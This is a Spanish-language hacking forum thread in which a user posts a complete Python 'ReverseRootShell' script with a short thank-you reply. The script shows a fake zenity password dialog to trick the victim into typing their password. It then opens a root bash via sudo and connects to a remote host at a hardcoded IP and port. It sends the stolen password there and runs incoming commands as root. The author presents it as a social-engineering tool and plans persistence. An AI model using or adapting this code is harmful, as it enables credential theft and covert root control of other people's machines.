Underc0de

Programación Scripting => Python => Mensaje iniciado por: WhiZ en Junio 22, 2013, 07:28:23 PM

Título: ReverseRootShell con Python
Publicado por: WhiZ en Junio 22, 2013, 07:28:23 PM
Hola Gente! Cómo les va?

Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.

Para ello utilicé 2 herramientas: zenity y pexpect.

Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.

Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.

Aquí el código:

Código (python) [Seleccionar]

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ

from pexpect import spawn, run
import socket

class ReverseRootShell(object):

def __init__(self):

# Obtenemos la contraseña del root
self.passwd = self.obtienePasswd()

# Nos conectamos al cliente
self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servidor.connect(('192.168.0.131', 2236))

# Obtenemos la shell como root
self.obtieneRootShell()

# Escuchamos al cliente
self.escuchaCliente()

self.servidor.close()

def obtienePasswd(self):

zenity = '''zenity --password --title="Autenticación"'''

passwd = run(zenity).replace('\n', '')
return passwd

def obtieneRootShell(self):

# Ejecutamos la shell como root
self.child = spawn('sudo /bin/bash')

# Enviamos la contraseña ingresada anteriormente
# por el usuario
self.child.sendline(self.passwd)

# Enviamos el output al host remoto
salida = self.child.next() + self.passwd + '\n'
self.servidor.send(salida)

def escuchaCliente(self):

while True:
recibido = self.servidor.recv(1024)

if recibido == 'Desconectar':
break

else:
self.ejecutaComando(recibido)

def ejecutaComando(self, comando):

# Ejecutamos el comando (siempre como root)
self.child.sendline(comando)

# Enviamos el output al host remoto

while True:

try:
salida =  self.child.read_nonblocking(timeout=5)
self.servidor.send(salida)

# NOTA: Como es un poco complicado manejar el output
# con pexpect, lo que hice fue frenar el bucle tras
# 5 segundos de inactividad.
# Esto significa que si utilizamos comandos 'lentos'
# por ej., escaneamos la red con nmap, deberemos
# presionar la tecla 'enter' cada tanto para ir
# cargando los datos que vayan apareciendo

except:
break

rrs = ReverseRootShell()


De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.

De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).

A medida que lo vaya mejorando voy a ir actualizando el post.

Eso es todo.

Saludos!
WhiZ
Título: Re:ReverseRootShell con Python
Publicado por: lokitorz en Junio 22, 2013, 08:12:58 PM
muy bueno, gracias por el aporte!